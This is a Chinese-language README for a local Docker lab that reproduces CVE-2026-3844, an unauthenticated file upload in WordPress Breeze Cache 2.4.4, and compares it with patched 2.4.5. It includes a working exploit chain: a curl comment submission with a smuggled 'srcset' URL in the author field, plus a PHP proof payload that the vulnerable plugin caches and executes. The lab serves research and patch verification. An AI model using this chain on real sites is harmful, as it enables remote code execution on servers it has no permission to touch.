仅限本地的 Docker 实验环境,用于复现和比较 WordPress Breeze Cache 插件中 CVE-2026-3844 的行为。
此仓库演示了 Breeze Cache 2.4.4 中的漏洞行为,并与 Breeze Cache 2.4.5 中的修补行为进行了比较。实验环境使用两个隔离的 WordPress 服务(一个漏洞版,一个修补版),以及 Docker 网络内的一个本地负载服务器。
概念验证故意采用 最小危害 方式:不使用 WebShell,不暴露命令参数,不启动反向 Shell,也不需要从容器内部读取文件。验证基于宿主机上可观察的 HTTP 行为。
CVE-2026-3844 影响 WordPress 的 Breeze Cache 插件,直至版本 2.4.4。漏洞代码路径与插件的本地 Gravatar 缓存功能有关,具体是 fetch_gravatar_from_remote() 流程。
当 Breeze 选项 本地化存储 Gravatar 启用时,存在漏洞的版本可以获取攻击者控制的远程文件,并将其存储在公共 Web 可访问的缓存目录下。如果获取的文件是 PHP 文件,当通过 HTTP 请求时,Web 服务器可能会执行该文件。
本实验环境在本地复现该行为:
vuln 服务:WordPress + Breeze Cache 2.4.4patched 服务:WordPress + Breeze Cache 2.4.5payload 服务:仅限 Docker 网络的本地负载服务器srcset 字符串,基于未经身份验证的评论触发预期结果:
http://127.0.0.1:8081 / Breeze 2.4.4 → 验证 PHP 被缓存并执行http://127.0.0.1:8082 / Breeze 2.4.5 → 验证 PHP 未被缓存/可读/可执行.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
主机
│
├── http://127.0.0.1:8081 -> 漏洞版 WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> 修补版 WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> 本地负载服务器
Docker 网络
│
├── vuln -> WordPress 漏洞目标
├── patched -> WordPress 修补目标
├── vuln_db -> 漏洞版 WordPress 的 MariaDB
├── patched_db -> 修补版 WordPress 的 MariaDB
└── payload -> Python 静态 HTTP 服务器
WordPress 容器通过 Docker 网络 URL 获取负载:
http://payload:9100/<payload-file>.php
宿主机通过正常的 HTTP 请求向 WordPress 服务验证结果。
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally当本地 Gravatar 缓存启用时,才能触发漏洞行为。该选项在典型安装中默认禁用,但本实验环境有意启用以复现漏洞代码路径。
在 Breeze Cache 2.4.4 中,Gravatar 本地化流程可以从与头像相关的 HTML 中提取远程 URL,并将该 URL 传递给 fetch_gravatar_from_remote()。
存在漏洞的版本缺乏对远程文件的充分验证:
.php)结果文件存储在:
/wp-content/cache/breeze-extra/gravatars/
当 PHP 文件保存在那里并通过 Apache/PHP 请求时,服务器会执行它。
在 Breeze Cache 2.4.5 中,修补后的流程添加了验证,阻止本实验环境的负载被缓存为可执行的 PHP。在本地复现中,相同的触发方式对 2.4.4 有效,但不会在 2.4.5 上暴露验证标记。
本实验环境有意将负载服务器保留在本地,而不是使用公共负载主机。
WordPress 的 download_url() 和 WordPress HTTP API 默认拒绝某些私有 Docker 主机名和非标准端口。公共利用脚本通常使用公共 HTTPS 负载 URL,从而避免该限制。本实验环境不这样做。
为了将复现完全限制在本地,种子脚本安装了一个小型仅限本地的 MU 插件辅助程序,它:
payload 和 payload.local80 和 9100该辅助程序不会修改 Breeze 源码。漏洞版和修补版服务都使用通过 WP-CLI 安装的真实 Breeze 插件版本。
辅助程序仅用于使 Docker 实验环境确定且仅限本地。
此仓库仅用于本地安全研究和作品集演示。
防护措施:
localhost 和 Docker 网络服务上cmd= WebShell 行为PoC 负载打印无害的 PHP 运行时信息:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
这证明了代码执行上下文,而不产生 Shell 命令。
requests安装 Python 依赖:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt 应包含:
requests
构建并启动实验环境:
docker compose down -v --remove-orphans
docker compose up -d --build
检查服务状态:
docker compose ps
预期服务:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
检查种子日志:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
预期日志行:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
检查 WordPress 安装:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
检查 Breeze 版本:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
预期:
2.4.4
2.4.5
检查漏洞前提条件:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
预期:
1
1
检查 WordPress 能否获取本地负载服务:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
如果 proof-cve3844.php 尚不存在,请在 payload/ 中创建任何临时文件,或运行一次 PoC。
对漏洞版服务运行:
python3 poc/poc.py --base-url http://127.0.0.1:8081
预期漏洞结果:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
示例验证输出:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
对修补版服务运行:
python3 poc/poc.py --base-url http://127.0.0.1:8082
预期修补结果:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
301 重定向(如 301 Moved Permanently)不被视为验证。PoC 要求唯一的标记出现在 HTTP 响应体中。
PoC 执行以下仅限本地的流程:
payload/ 下生成一个唯一的 PHP 验证文件。x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload,否则删除生成的本地负载文件。PoC 不会从目标容器内部读取文件。验证从宿主机通过 HTTP 收集。
创建手动负载:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
确认负载服务器将 PHP 源码作为静态文本提供:
curl -i http://127.0.0.1:9100/manual-proof.php
向漏洞版 WordPress 服务提交评论:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
通过配置的 WordPress 站点 URL 主机渲染文章来触发 Breeze 处理:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
预期的 HTML 证据:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
请求缓存的 PHP 文件:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
预期的漏洞验证:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
检查负载日志:
docker compose logs --tail=50 payload
预期:
GET /manual-proof.php HTTP/1.1" 200
| 目标 | Breeze 版本 | 预期结果 |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | PHP 验证文件被获取、缓存并执行 |
http://127.0.0.1:8082 | 2.4.5 | PHP 验证标记未被暴露 |
停止并移除容器、网络和卷:
docker compose down -v --remove-orphans
如果需要,删除生成的负载文件:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Patchstack 数据库 — WordPress Breeze Cache 插件 <= 2.4.4 通过 fetch_gravatar_from_remote 进行未经身份验证的任意文件上传:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence 威胁情报 — Breeze Cache <= 2.4.4 未经身份验证的任意文件上传:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Wordfence 博客 — Breeze Cache 漏洞的活跃利用覆盖:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Breeze Cache 插件页面:
https://wordpress.org/plugins/breeze/
本实验环境中使用的 WordPress 插件下载:
WordPress 插件 Trac — Breeze 源码参考,class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
本项目仅适用于经授权的本地安全研究。请勿对您不拥有或不具有明确测试权限的系统运行 PoC。
WordPress 插件 Trac — Breeze 修补后源码参考,class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php